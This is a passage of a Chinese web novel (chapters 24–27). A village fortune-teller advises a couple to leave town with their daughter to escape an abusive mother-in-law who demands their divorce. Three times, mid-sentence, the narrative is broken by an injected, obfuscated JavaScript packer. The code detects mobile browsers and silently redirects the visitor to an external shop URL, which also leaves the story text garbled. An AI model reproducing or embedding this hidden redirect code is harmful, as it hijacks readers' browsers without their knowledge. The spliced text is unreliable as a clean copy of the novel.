“对对,你知道啊。她不是怀不上,是上次怀了,卞阿婆非让她干重活不小心掉了嘛。医生说调养几年就好的,卞阿婆安生半年,现在又拿这事说平丽。” 娄姨是个热心肠人,很为平丽抱不平:“平丽性格多好啊,就是娘家没人给她撑腰。幸好春生算可以,不然这家迟早得散。” 曲欣回忆了一下,平丽姨和春生叔确实和睦,好像上个月平丽姨出去找了工作,店里就春生叔一人看着。 卞阿婆也不满意,觉得儿媳翅膀硬了,出去找工作就是对不起她,就算每月能挣四千多,那也是对不起她! 她家两套房呢,让她在家看店不好吗?非要出去打工,别人怎么看她! 讲道理,小卖部一个人也够了,平丽姨下班还能帮春生叔看会店。卞阿婆自己万事不管,家里有拆迁的出租房,每天打牌也很开心,偏回到家各种折腾。 曲欣看过平丽姨面相,性格温厚善良,不是那种暗里藏奸的人。 曲欣以前见过卞阿婆,她猜吧,人上了年纪,但身体还很健康,家里钱在她手上,日子过得可以,年轻时有人压着,这会没人管了,就想四处耍耍威风。 耍威风别人也不理她啊,所以专门对着老实的儿子儿媳闹。 这个曲欣也无解,还得平丽姨和春生叔自己立起来。 24. 婆婆非让离婚 曲欣说:“我看平丽姨去上班挺好的,自己有钱就有底气。”做奶奶的不让孙女吃店里的糖,那干脆给钱让女儿去别家买。 娄姨赞同:“那确实,平丽还是前边小产闹得身体不好,没力气挣钱。现在养好了,我看她也是不想忍了。” 娄姨顿了顿,又说:“他俩要不是初中同学,春生哪能讨到这么好的老婆!” 曲欣对春生叔不熟,就记得他人很憨厚,眼神示意娄姨说说。 原来春生叔和平丽姨同岁,从小比较笨,春生叔他爸也有点脑筋转不过弯……但那会有把子力气,能干活,那就是好人家。 春生叔他奶特地挑的卞阿婆,想着憨仔配巧媳,能把这个家当起来。 年轻时候有婆婆管着,只表现泼辣的一面。公婆去世,卞阿婆当了家,泼辣渐渐变成蛮横。 春生叔他爸嘴笨,说又说不过她,有什么矛盾只想着息事宁人,求份安宁。 这个家渐渐卞阿婆一人做主,占邻里便宜没占够,四处搅风搅雨,脾气又大,想一出是一出,属于大恶没有,讨人嫌的事一大堆。 生的春生叔随爸,老实嘴笨,初中认识的平丽姨,平丽姨因为亲妈去世早,她爸再婚家里也穷,考试发烧没考好,高中毕业就打工去了。 后来两人相亲结婚,日子过得比较和美,怀了孕,卞阿婆把两人叫回来看店,自己开始潇洒的养老生活。 平丽姨生下女儿,卞阿婆不太高兴,但那会小卖部生意还可以,卞阿婆忙着打牌也不管那么多,不高兴也是无差别炮轰。 再后来嘛……卞阿婆打牌认了个干亲,每天亲亲热热,一起打牌的都知道,那干亲没好心,老是撺掇卞阿婆收拾儿媳。 人家还振振有词:“管教儿媳就要年轻时把她管服了,不然老来她不孝顺,不愿意照顾你怎么办?” 别的打牌都说:“这个还是要看儿媳,儿媳人好,怎么都会照顾,人不好,你现在还管教,等你老了她只会反过来折腾你。” 卞阿婆不听啊,或者她很有自信,觉得自己能管服……她儿媳也不是那种坏心肠的人。 卞阿婆本来对儿媳也没多好,知道她心善,那欺负了她也没辙呗。 娄姨鄙夷道:“这可不是我瞎说,是和她打牌的广阿婆说的,卞阿婆心坏呢,得意洋洋跟人说反正老了平丽得管她。” “这不是没事找事嘛!”说要管教儿媳,为了儿媳以后能照顾她,可她自己明明知道她老了人家不会不照料。 娄姨说:“我看她是折腾人家上瘾了,就喜欢听别人劝她对儿媳好点,然后她再不屑,说儿子儿媳不敢的……你看她这人。” 现在广阿婆都不想和她打牌了,她那干亲也是心坏,前一阵还说要把自己表侄女嫁给卞阿婆儿子,给卞阿婆生个大胖孙子,后继有人! “这不鬼扯嘛,平丽又不是不能生了。你这换个干亲的表侄女做儿媳,那你要不要管教?就不担心她不给你养老了?” 娄姨:“卞阿婆老糊涂,越劝她越来劲。” 说着说着,送饮料的来了,娄姨和蒋兴去搬货,旁边康胜听了半天,说:“我妈讲卞阿婆闹着要春生叔离婚,白天晚上的闹了好几次了。” 曲欣看他一眼:“然后呢。” “春生叔肯定不答应呗,卞阿婆一直说他,还让那个女的和春生叔一起看店。”那个女的是指卞阿婆干亲的表侄女。 曲欣有点无语,这可真是没事找事。 康胜一边收银,一边吐槽:“那小卖部哪用得着两个人看,我家住那,那边现在都没什么人。” 莲花村一直有在缓慢改建,他们这片算是改过的,村尾那道现在还没动静,人也少了,小卖部生意大不如前。 不过这不关曲欣的事,平丽姨用不着求子,卞阿婆也不是真给她生个孙子就能安生的。只要她想折腾,怎么着都有理由。 曲欣没想到的是,过了两周,她在路上遇到平丽姨,还真给她扯上了关系。 当天是下午三点多,曲欣上完五六节课,本来约好和室友逛街,对方临时有时嘛,她就溜达回家了。她妈新进的一种冰淇淋可好吃,她直接抱了半箱回家。 另外家里还有别人送的水果零食需要她定期视察,不喜欢的送给亲戚朋友,实在太多的超市打折卖了。 最近也不知道咋回事,不送烟酒了送零食,一箱一箱的,难道因为她近期看命的时候吃零食频率太高? 哎这不是他们送的多嘛,所以没事吃点,越吃越多了还。 曲欣听着歌,半道上就见平丽姨拉着她女儿小云在路上走。小云膝盖上红了一片,低着头不说话,平丽姨打着电话,表情麻木。 曲欣停下自行车,和对方打了个招呼,当面一看,顿住。 平丽姨扎着头发,脸稍稍有点长,五官却恰到好处,不是说长得漂亮,而是让人看着舒服。平丽姨是那种打眼就比较亲切的长相。 看到曲欣,平丽姨愣了一下,挂断电话,想说什么又停住,低头看着自己女儿,对曲欣说:“……小神婆,我晚点来找你好嘛。” 曲欣点点头,她歉意的笑了笑:“我先把云云送回家。” “好。”曲欣回答道,“我下午都有空。” 平丽姨走了,曲欣踩单车踩成风火轮,回到家和袁阿婆语音微信:“阿婆你知道那个平丽姨家那个卞阿婆吗?” 她自己放一遍,把平丽姨和卞阿婆打字发出去。 阿婆迅速回复:“这是咋了,平丽找你了?” 又发老长一条语音:“我就知道卞阿婆发神经,突然非让春生跟平丽离婚,春生说了他妈一回,被卞阿婆到处宣扬,还说要找春生他伯他舅搞一个家法,要审春生。” “……?”曲欣无语,“然后呢。” “他舅他伯肯定不搭理呗,都知道卞阿婆什么人,谁知道她是不是看了哪个戏在发癫。” 曲欣佩服,不对,她想起正事:“我怎么看平丽姨要离婚了。” 袁阿婆马上一个视频打过来,两人四目相对,阿婆走进去到房间里,小声道:“你刚看到的啊,真离了?” 曲欣也小声:“真离了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968291|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我感觉后面还是夫妻,估计没多久再婚了。” 这两人姻缘是连在一块的,没别人,但近期确实离婚了。 哎,卞阿婆棒打鸳鸯,没事找事。 袁阿婆顿时急了:“那平丽要来找你?你得劝啊,不好的婚姻让它离了,这合适的要撮合,再找不一定能找着好的。” 有时不是说两个好人结婚就能过得幸福,平丽和春生挺好的,散了多可惜。 袁阿婆着急,她就见不得有人不圆满。最好是好人都过好日子,和和美美,坏人都遭报应,别搭着好人把人日子也过坏了。 曲欣:“我知道,我就是……我感觉平丽姨得离开卞阿婆才有好日子啊。她女儿也是。” 袁阿婆犹豫了,好姻缘难寻,但搭上这么个婆婆,万一平丽自己想离呢。 阿婆就说:“那你看平丽自己想法吧……” 两人商量一阵,曲欣说:“阿婆你有平丽姨电话吗?你让她来的话把春生叔也叫过来,我一起看看。” 如果两人心往一处使,那她还有一招。 袁阿婆一口答应,笑眯眯道:“欣欣今天来吃饭吗?我给你搞个泥鳅钻豆腐,再搞个酸菜鱼,切个西瓜,晚上去散散步。” 曲欣很惋惜:“不行呢,我弟要过来。” “把你弟也叫来嘛。”袁阿婆知道这说的是她表弟董樊,“哎,往年不是一放暑假就来了?” “回他爷爷奶奶家玩了两周,一直吵着要吃我零食。”嗯哼,把他馋过来就多个小跑腿。 挂了电话,曲欣拿来冰淇淋,拍照发给小表弟:你啥时候过来? 董樊秒回:姐!我超级超级想你!但我妈是大懒虫,开了会车说不行了,要补觉,我好想你啊! 曲欣给他拍她各类小零食,不知道的还以为她在家开了个小店。 董樊:嘿嘿[爱心眼流口水][爱心眼流口水][爱心眼流口水] 曲欣:[龇牙笑][龇牙笑][龇牙笑] 过了半小时,袁阿婆给曲欣发消息:平丽和春生过来了 春生叔个头不矮,但平时显得不高,看人眼神温和,其实没有那种笨拙感,只是瞧着沉默。他和平丽姨过来,打了招呼,都是平丽姨说话。 平丽姨和他离了一拳头的距离,很平静的说:“小神婆,下午你看过我女儿,我女儿是灾星,会害家里人吗?” “……”曲欣说,“当然不是,小云挺好的。” 春生叔在一边点头,平丽姨笑了笑:“那我就这么跟大家说了。” 她跟曲欣说起她和春生叔的打算:“我们准备离婚,他也去打工,每月攒一千五给我和小云,工作还在找。我每月有四千五,省着点能攒下不少……” 曲欣有点纳闷:“一定要离婚吗?” 平丽姨叹息:“我婆婆越闹越大,不离不行,她现在怪小云是灾星,说是小云把我第二个孩子克走了。小孩子不懂事以为是真的……” 莲花村各年龄段孩子都挺多的,平时聚在一起玩,卞阿婆已经把这事宣扬得小孩子都听说了。 25. 婆婆非让离婚 卞阿婆是胡搅蛮缠的一把好手,大家都知道她满嘴胡言,但也很烦,烦到不想理她,‘你说什么都对’,这其中平丽姨和春生叔更是心力交瘁。 不如她的意她就要闹,闹的内容无非是:‘吃我的饭,放下碗骂娘。’‘不听话不孝顺,白养你这么多年。’‘都是你把我儿子带坏了!’。 两周前,平丽姨给女儿钱买零食被卞阿婆知道了,当天回来就发飙。平丽姨刚发工资,和她辩了几句,这下好,捅了马蜂窝。 卞阿婆觉得这是儿媳赚了钱,不把自己放眼里了,必须打压她嚣张的气焰,长此以往还得了? 她守在儿子儿媳的房间,非要春生和平丽离婚,一定得离,必须给个说法。春生推脱明天再说,明天也不行,现在就滚出去! 她要儿子听自己的,儿子不听,她又是假哭又是假怒,还假摔家具,发出各种不满的声音。 平丽姨把房间门锁了,她就在外边一直敲一直敲。 凌晨一点多,大家都睡了,惟她精神百倍,敲了足足二十多分钟的门,春生和平丽就坐在床上,筋疲力尽的搂着睡眼朦胧的女儿。 一家三口都没力气折腾,默默听她敲门谩骂。 最后卞阿婆用椅子把门砸坏,冲到房里拉扯平丽,把昏昏沉沉的小云吓醒,大哭起来。 平丽悬着的心咔嚓落地,爱怎么样怎么样吧。被婆婆折腾这么多年,她和春生一样,拿她一点办法也没有。 可再这么下去,只怕女儿也跟他俩一样,想反抗都没那个心气。 平丽头一次萌生了要不就离了这个婚算了的想法。 平丽用被子包住女儿,踩着拖鞋出了门,夏天晚上也不冷,就是有蚊子。春生跟过来,卞阿婆还在后边追着骂。 最后她砰的一声把门摔了,一家三口在门口坐着睡了半个晚上。 平丽第二天要上班,凌晨还是打开门悄悄进去,洗漱拿了东西就走。幸好女儿放暑假了,还能晚点起,补个眠。 春生把女儿抱去房里,轻轻放下,出来看着平丽刷牙洗脸,两人一句话都没说。 上班路上,平丽想着想着忍不住哭,感觉很绝望。 她不能怪春生不反抗,她自己也有心无力。 他们住的是婆婆的房子,一有不好婆婆就让他们滚出去。两人手里没什么钱,公公偷偷留给春生的一万块现在只剩八千,加上平丽刚发的工资也不多。 就是一家人搬出去,租个房,婆婆肯定也是要闹上门的。 有时她甚至希望婆婆能谈个老伴,别老听她干妹妹的,又把对方表侄女放到店里,又对女儿说要把女儿和自己赶出去。 女儿为此偷偷哭过好几回,平丽心如刀割! 平丽跟春生说要不离婚算了,春生坐着,眼泪突然冒出来,表情也很绝望。夫妻俩抱在一起哭,平丽又觉得还是先不离。 离了婚,春生怎么办?都听婆婆的,婆婆就能不折腾吗? 她相亲结婚的时候,婆婆也算满意,还给了她一个八百的红包。后来怎么样,她难道有天天和婆婆对着干吗? 婆婆让那姓刘的表侄女来店里,说心疼儿子一个人没日没夜,两个人搭配正好。实际上这表侄女啥事不干,每天刷抖音,玩斗地主,和人视频聊天。 对春生和平丽,表侄女眼睛长到天上,对卞阿婆她又很会讲话,哄得人眉飞色舞。 她不和春生说话,那眼神明明白白的看不上,春生说:“要不这店让她看,我也去找个工作。” 平丽没说话,那婆婆肯定是要闹的,说不定还会闹去春生上班的地方。 平丽现在工作的地方她也闹过啊,只是领班人好,把她唬住了。 平丽找工作她都要闹,春生是她攥着的根,肯定闹得更凶。 这些都还算了,平丽和春生拖着,婆婆居然跟别人说小云是灾星! 她打牌的时候跟牌友说,吃饭的时候跟店里老板娘说,回到家和邻居说,路过和女儿玩的小朋友她也要说。她使坏的时候怎么那么来劲! 当知道女儿出去都没人和她玩的时候,平丽恨透了卞阿婆。 这可是她亲孙女! 平丽受不了了,她想离婚带着女儿搬出去,她领班和同事人好,说给她留一间宿舍,可以让她带着女儿住半年。 本来这宿舍是工作了三年以上的老员工才有的。 一旦有了这个想法,心里简直豁然开朗,就是舍不得春生。 可为了女儿她没办法,女儿现在躲着婆婆走,做什么都小心翼翼,平丽看了心酸。 春生最终同意了,夫妻俩靠在一起,春生说:“等离了婚,我也去找个工作,她再闹闹不到你和小云,我把工资都给你,你好好照顾自己和小云。” 平丽觉得人活着怎么这么苦:“不用,我帮你存着,你自己留一半,不然你妈肯定要闹……” 真要说离,又舍不得,这么拖了几天,不知怎么春生和他妈顶了两句。卞阿婆认定平丽是祸害根源,等她下班,家里爆发了新一轮的对峙。 春生头一回和他妈大声说话,他妈气疯了,晚上跑去春生大伯家里,要大伯主持公道。大伯敷衍她,第二天又去找她弟弟。 卞阿婆想让春生大伯和舅舅到家里来,用家法把平丽赶走,把儿子压服。 最终大伯和舅舅都没来,卞阿婆那个干妹妹和表侄女来了。三张嘴在家里轮番数落,好像鸠占鹊巢的杜鹃鸟,为了壮声势,住下来就没走了。 不,这本来也不是平丽的家,或许也不是春生的家。 平丽感觉她没路可走了,晚上她和春生抱着女儿坐在房间里,外边婆婆大声埋怨着,她干妹妹一边劝她,一边感慨她儿子儿媳不懂她的苦。 平丽和春生决定离婚,这天是周六,民政局不上班。 周末,民政局也不上班,一家三口出了门,找个地方待着。下午带女儿走到附近一个新小区,小区里有秋千,滑梯,跷跷板,很多家长小孩来玩。 平丽和春生看着女儿和一个小男孩开心的玩跷跷板。 平丽说:“不知道什么时候能给小云买个这样小区的房子。” 春生沉默了一会,觉得他应该说点什么,但他不知道该怎么说。 “我努力攒钱。”过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984254|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一会,他开口。 平丽拉着春生的手,感觉很不舍,她知道春生也不舍,但他说不出。他好像茶壶里煮饺子的一个人,什么都闷在心里,他不会说。 因为说了,不管是什么,都可能让他妈不满意。 问他是不是不高兴,为什么不高兴,对妈有什么不满说出来,去大伯家拿几个鸡蛋怎么了,他不给你偷偷去啊,又不缺那几个鸡蛋。 为什么不穿,这衣服还好着呢,捡回来洗干净补好了,人家不要的,能穿几年是几年。家里穷啊,你这孩子别不听话。 初中读完去打工吧,钱妈给你拿着,你还想要多少?你是不是听别人使坏说啥了,妈还能害你吗?你怎么这么不懂事! 不想回来看店?为什么,妈是为你好啊,在外边风吹雨打的,妈不是心疼你?不孝顺,难道要妈这把年纪去看店? 你媳妇不生儿子,你要让我去死吗?这都七年了不生,凭什么不离!你就是偏着她,你有了媳妇忘了娘,你要遭报应啊…… 你女儿是灾星,你女儿克你啊,她克我们全家,我是最伤心,你又不听我的,你翅膀硬了,你女儿克死了你儿子你不听我的,我难受啊! 说什么都没有用,他妈从来只管说,不管听。 你说的一切她听不见,听不懂,她只要儿子顺着自己,就够了。 那天他们一家在那个小区玩到很晚,十点回到家,家里居然没人。两个大人加小孩都松一口气,有种逃过一劫的感觉。 小卖部一天没开张,卞阿婆可能和干妹妹表侄女在家里打牌,居然没发现,所以也没来找麻烦。 夫妻俩把孩子哄睡,收拾剩下的行李,一部分周六已经送去平丽宿舍,一些小东西留着不知会不会被卞阿婆翻出来扔掉,也想带走。 卞阿婆有时会闯进他们房里,看他们有没有买什么不该买的,就是捡的也不行!捡回来别人看到,丢她脸面! 平丽有一支别人送的擦手霜就这么被她扔了,她说:“我还以为又是你们捡的,怎么老捡这些破烂回来。” 其实他们只有一次,情人节捡回来好大一束花,那些花都很新鲜,很好看。春生觉得可以放到房间里,听说能养一周呢。 被卞阿婆抓住嘲讽了一番,后来确实没有再捡过了。 可卞阿婆记性好,次次翻出来这事讥笑,她还若有其事的教诲女儿,让她去学校不要捡别人的东西,不要做叫花子。 平丽想起这些事,不觉得难过,就是很无力,没力气跟她婆婆争辩,她每天只想婆婆能在外边通宵打牌,不回来最好。 她现在一点也不想看到这个人,她烦得心绞痛。 有时平丽甚至想,哪怕婆婆生个病呢,躺在床上不说话,那她宁愿照顾这样的她。 可婆婆身体好得很,精力充沛,每天都能折腾出花样。 好在她就要解放了,他们收拾好东西,坐在一块看着那三大包行李,商量着明天早起,春生先帮她把东西送过去,回来再开店。 明天毕竟是周一,上午不好请假,平丽请了下午,到时候就…… 他们就离婚了。 26. 婆婆非让离婚 平丽和春生互相看了一会,春生转头望向熟睡中的女儿,平丽也看着女儿。 “明天早上我给她十块钱。”春生说,“她一直想买那个贴纸。” “店里没有吗?”平丽开玩笑,“反正要走了,拿一点给她。” 春生愣了一下,突然说:“全给她吧,就说被风吹走了。” 房间里只开着床尾的灯,女儿缩在床头静静沉睡着,她还那么小,睡了一丁点大,平日里总是安安静静。他们做父母的对不起她。 春生说:“那我也要给十块……给五十给她。” 平丽没说话,她关了灯,感觉心里好冷。她想说没事,以后跟现在没两样,想女儿就来宿舍看她,女儿肯定也会想他的。 明天他们就离婚了,不是一家人了。 两个人几乎都睁着眼睛到天亮。 第二天早起,两人扛着行李送去宿舍,平丽又打转,拿上最后一点东西去上班。路上平丽遇到赵阿公,赵阿公说:“平丽,上班去呢。” 平丽回过头,赵阿公看她红着眼睛,就问她怎么了。 平丽心里难受:“我和春生准备离婚了。” 赵阿公大吃一惊,忙询问详情:“那你不如去问问小神婆,看她有没有办法!” 平丽想,就算她现在生个儿子,婆婆也不会家和万事兴。她该要折腾还是会折腾,平丽不想女儿继续被她抹黑。 平丽自己,她也一点都不想再看到卞阿婆。 她不舍是为春生,但做出离婚这个决定她觉得天也蓝了,水也绿了。 惟有对不起春生,把他一个人留在那个家里。 平丽谢过赵阿公,走两步,又想或许可以去看看,小神婆肯定知道女儿不是什么灾星。 得她一句话,比卞阿婆到处编排管用多了。 下午春生先去民政局排队,平丽忙过一点多,请假下班,却接到熟人电话,小云和别的小孩打架,把人眼睛打肿了,小卖部春生又不在,让她赶紧过来。 平丽赶回来,女儿膝盖红了,头发有点乱,对方一只眼睛肿了,手上还有个牙印,正哇哇大哭。 幸好一个村的,对面家长弄清楚是自家儿子先说小云灾星,克死了弟弟还能克别人,让大家不要和她玩——马上就道歉,让儿子也道歉。 对方抓起儿子屁股啪啪几下,道了歉,女儿仍然很沉默。 平丽抱着女儿安抚,一看时间要走了,女儿眼泪一颗颗滚下来,揪着她衣服说:“妈妈,我想跟你去上班。” 平丽不知道是不是女儿知道了什么。 女儿百般不舍,好像一松开手就再也见不到妈妈。平丽满腹辛酸,抱着她往回走:“妈妈今天有事,请假了,不上班,你回家玩好吗?” 路上女儿要下来自己走,平丽有很多话想跟她说,又不知该从何说起。 平丽问女儿:“我们搬去妈妈宿舍,不和奶奶住了,好不好?” “嗯。”小云乖巧的应了一声,“你和我说过了。” “等会你去广阿婆家和由姐姐玩,我和爸爸办完事就回来,好不好?” “……”小云低着头,闷闷的说,“我不可以去吗?” 平丽:“要排队,人又很多,特别挤,云云等爸爸妈妈回来给你买娃哈哈好吗?” 小云不说话了,平丽又接到卞阿婆电话,听了没两句就厌烦——她刚从别人那得知小卖部下午没开门,打春生电话又不接,马上问平丽:“你们又搞什么鬼!” 平丽不想起冲突,很累的说:“春生让你表侄女替了班的,你问问你表侄女。” 卞阿婆大怒,一边打牌一边说春生不像话,自己不看店让别人看,平丽默默挂了电话。 ——小神婆恰好路过,看着她和女儿,表情有些奇异。 平丽和小神婆约好晚点去找她,对方的表情总在她脑海回荡。平丽不是莲花村人,但她娘家离莲花村不远,不然她不会和春生做初中同学,后来还相了亲。 所以平丽对小神婆很信任,她觉得小神婆肯定是看到了什么。 匆匆把女儿送回家,有什么万一她不想让女儿听到,反正小神婆看过女儿了……没多久,平丽突然接到袁阿婆电话。 袁阿婆和小神婆关系很亲近,她让平丽带春生一起来。 平丽犹豫了一下,春生已经排了很久的队,她也只请了一下午的假。 但万一小神婆看到了什么呢…… 平丽把春生叫回来,两人仓促去了小神婆家。上楼,平丽又冷静下来,觉得不管怎样,婚是肯定要离的,她也这么跟小神婆说了。 春生没开口,平丽勉强笑道:“小神婆,您是看到了什么?” 曲欣转头看着春生,打量过后,问他:“春生叔,你想离婚吗?” 对方语气没什么波动的说:“不离也得离,我妈不会算了的。” 他表情很麻木,他妈都能到处宣扬自己孙女是灾星克星,还有什么做不出来?从小到大,不管什么事,反正最后都会被磨得听他妈的。 不同意她就要死要活整天来劲,他爸也拿她没办法。他爸走了,他个木头性子,更是节节败退。 离吧,离了婚,至少妻女不受气。 曲欣说:“那你们有没有想过去外地打工啊?” 春生叔抬起眼睛看她,有点愣:“……我们都没,都没出去过。” 他转头和平丽姨对视,两人早年都打过工,但就在本市,没去过外地。平丽姨问:“是说我们去外地打工能好吗?” 她语气隐隐有些期待,还推了推春生叔。 曲欣笑道:“越远越好,带着小云一起去,别把地址告诉任何人,卞阿婆现在身体挺好的,你们先挣钱嘛。” “我看了这几年,平丽姨和小云离开卞阿婆才有好日子。刚一看,春生叔你也是。只要你俩下定决心,怎么都不回来,在那边踏实肯干,不会差的!” 春生叔和平丽姨对视一眼,平丽姨又撞了撞他。 春生犹豫了一下,居然也有点期待,想到小神婆说的好日子,两人脸上都露出笑痕,想忍住,没成功。 反正他妈身体好,小卖部现在也没什么生意,如果能一家三口去外地,怎么过不是好日子…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997120|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越想越觉得是个好办法,之前怎么没想到! 春生感觉口干舌燥,对平丽点点头,平丽顿时满面春风。 她一把挎住春生叔的手,激动道:“我,我现在的工作……好,我去辞了,我领班人好,我真对不起她……那我们去哪里呢?” “还有小云的学籍,我听说这个不好弄,要不我们别去太大的城市,就离这边远一点,找个有好学校的……我们省吃能干,一定行!” 原本从没想过还能一家三口跑路,有了新的可能,种种困难都不再重要。 对啊,干嘛一定要离婚,只要还在老家这边,婆婆想做什么他们能控制吗? 可他们一家跑得远远的,让人找不过来,那,那他们就不怕了。 到时自己挣,自己花,免得老被婆婆阴阳怪气,说他们一家吃她用她,还对不起她! 春生也激动起来,和平丽有商有量:“我找我大伯和舅舅借一笔钱,正好暑假了,带上云云,我们再找别人借点……” 只要找到工作,过个两月,怎么也能安定下来。而且小神婆也说了,他们去外地打工,不会差的! 夫妻俩都对未来生活燃起希望,给了红包,千恩万谢的走了。 曲欣很满意,又做了好事一件,她可真厉害! 春生夫妻俩回到家,女儿小云坐在门口等,看到他们回来,脸上隐隐有个笑模样,但整个人好像被什么压着,不活泼。 夫妻俩心里都不舒服,对视一眼,春生抱着女儿回房间。平丽环顾四周,悄声说:“我们今天就走吧。” 春生说:“去哪?” 平丽:“我高中玩得最好的朋友,她现在在s市,离这边挺远的。她和老家断了联系,只和我有来往,我打电话问问她。” 平丽去打电话,春生犹豫一下,问女儿:“云云,爸爸妈妈带你去一个很远的地方读书,怎么样?” 小云正盯着她妈妈打电话,闻言抱着爸爸的胳膊,小声问:“不带奶奶吗?” “不带。” 小云立刻说:“好啊,现在走吗?”她眼睛亮晶晶的望着春生。 春生心里一叹,对女儿说:“我们明天走,不要和别人说。” 小云连连点头,她知道,说了就走不成了。 平丽打完电话回来,激动道:“就去s市!她说她有个小房子,半价租给我们,可以给我介绍工作……我,我早点找她就好了。” 平丽说:“我现在去找我领班,你收拾你东西,别让你妈发现了。” 一家三口从没这么积极迫切过,好像再迟一会就走不了了。 春生跑了一趟大伯家,大伯什么都没问,直接给了钱。又去他舅舅家里,这个舅舅有点混不吝,但出手也大方。 春生要走前,舅舅低声问他:“你是要和你妈分开过?” 春生说:“舅,我会给我妈养老的!” 等他妈老了,他不会不孝顺,但现在他得顾着他妻女,还有他自己……他觉得再这么下去,他一辈子都完了。 舅舅拍拍他肩膀,叹口气让他走了。 27. 婆婆非让离婚 平丽去店里找领班,郑重的道谢和道歉,仔细说了自己的情况。领班是个好人,直接答应了她的突然辞职,还发了一笔这个月的工资。 “你去吧,我知道你不容易,你们去哪别告诉别人,安定了回个信就行。”领班只比平丽大十多岁,笑得很是慈祥。 放在宿舍的东西又搬出来,春生来接她,两人回到家,小云在像模像样的收拾行李。 时间到了六点,三人都没觉得饿,站在房间里听外边声音,没动静。 “走我们去蒸菜馆吃个饭,吃完就走。”平丽有点紧张的说。 王记浏阳蒸菜馆在千里香馄饨店斜对面,味道好,价格便宜,一家人没怎么吃过,平时都是自己开火。 千里香馄饨店旁边是麻将馆,卞阿婆正在里边打牌。 一家三口吃完这最后一餐,情绪有所缓解,对面馄饨的香味飘过来,春生和平丽牵着女儿走过,平丽犹豫:“要不你进去和妈打个招呼。” 春生停住,女儿仰头看他,小心翼翼的摇了摇他的手。 春生咬牙说:“我进去看一眼。” 他松开女儿,女儿伸手抓了一下,马上抱紧妈妈,脑袋埋在平丽腰间,好像在逃避自己不想看到的画面。 平丽温柔的摸摸她脑袋:“别怕,你抬头看,爸爸出来了。” 小云抬起头,真就一会儿,爸爸已经在门口,奶奶的大嗓门从里边追出来:“反正你不听我的,你要翻天!我晚上回去收拾你……” 牌友半真半假的劝:“哎哟都是孩子爸爸了,你还要收拾他,你不得了哦。” 小云赶紧抓住爸爸的手,拖着爸爸妈妈闷头往前跑,跑了好远才回过头。她发现爸爸妈妈都在笑,脸上很放松,比过年发现奶奶不在家时更轻松。 “我们快走吧。”小云脸上很严肃,“不要像电影里火车站被抓到。” 平丽笑道:“我们坐高铁,没票进不去的。”晚上十点,他们会到达一个陌生的城市,她朋友会来接他们。 春生也说:“奶奶要打牌,不会来抓我们。” 小云没说话,回到家将用不上的东西打包了四处塞一点,平丽怕婆婆找不到他们人,把东西都祸害了。最后站在空荡荡的房间,夫妻俩都有点惘然。 “走吧。”两人又对视一眼,笑起来。 七点出头,没坐过高铁的夫妻俩带着女儿找到座位,到这一步,反而彻底放松下来。夫妻俩坐在一起,把女儿抱着,窗外风景飞逝而过。 他们讨论起到了地方怎么找工作,要添置点什么,期盼着他们的未来,对新生活无限憧憬。 晚上十点,卞阿婆回到家,想起春生没开店的事,先骂了一阵,儿子儿媳房间门紧闭,她也没在意,转而让平丽给她倒洗脚水。 房门没开,里边一点动静也没有。卞阿婆顿时火冒三丈。 骂你不吱声就算了,叫你干点小事你也当作没听见? 她冲进房里,进门愣了一下,没人就算了,怎么床铺都盖上了。平时放着东西的地方全光秃秃的,打开衣柜,衣服也不见了! 卞阿婆心里咯噔一下,马上打电话给儿子,响了七八秒,那边接通了,但不说话。 卞阿婆恼怒:“你们哪去了,还搬走了?你看你像不像话,我还没老你们就这样对我,家里有房子不住,搬出去我这脸往哪搁。你下午就搬家是吧,你老婆还不说实话,你们哪来的钱,是不是偷拿店里的?春生,你讨了这个媳妇……” 那边说了句什么,卞阿婆没听清,她还在说自己的。 卞阿婆讲了半分钟,一点回应没有,她才发现儿子居然挂了自己电话! 立刻又打过去,卞阿婆不满,难受,好好的儿子怎么不听话了,都怪她不省心的儿媳和孙女!卞阿婆要儿子马上回来,离婚,必须离婚! 春生在那边说:“妈,我出来打工了,店你找人看吧。” 卞阿婆根本没听,她还在说自己的,强调自己多么不容易,儿媳找了个工作尾巴上天了,不能要了,让儿子听话,快听话。 春生犹豫一下,又挂断了电话。 卞阿婆这下发现了,她再次打过去,春生接了,重复一句:“妈,我出来打工了,店你找别人。” 卞阿婆终于听清,脑袋里嗡嗡的响,嘴上说:“不行,你赶紧回来。” 春生干巴的拒绝:“我准备在这边打工,过两年回来看你。” 打工,过两年,卞阿婆骇然:“你过年也不回吗?” 她又醒悟过来,重新燃起怒火:“我不准,你在哪打工,你给我回来,你叫你媳妇接电话,反了天了……” 